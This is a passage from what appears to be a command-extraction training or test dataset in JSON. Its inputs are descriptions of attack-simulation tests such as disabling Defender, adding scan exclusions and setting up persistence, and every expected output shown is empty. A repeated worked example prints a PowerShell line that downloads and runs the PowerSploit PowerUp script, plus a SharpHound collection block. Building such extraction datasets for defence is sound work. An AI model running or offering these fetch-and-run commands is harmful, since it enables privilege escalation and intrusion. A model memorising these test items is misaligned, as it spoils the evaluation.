command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.\nHowever, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, \"Access Denied\"\nwill be displayed twice and the WinDefend service status will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This is to test for what ports are open outbound. The technique used was taken from the following blog:\nhttps://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n\nUpon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\\open-ports.txt.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disables the Microsoft Defender Firewall for the public profile via registry\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n 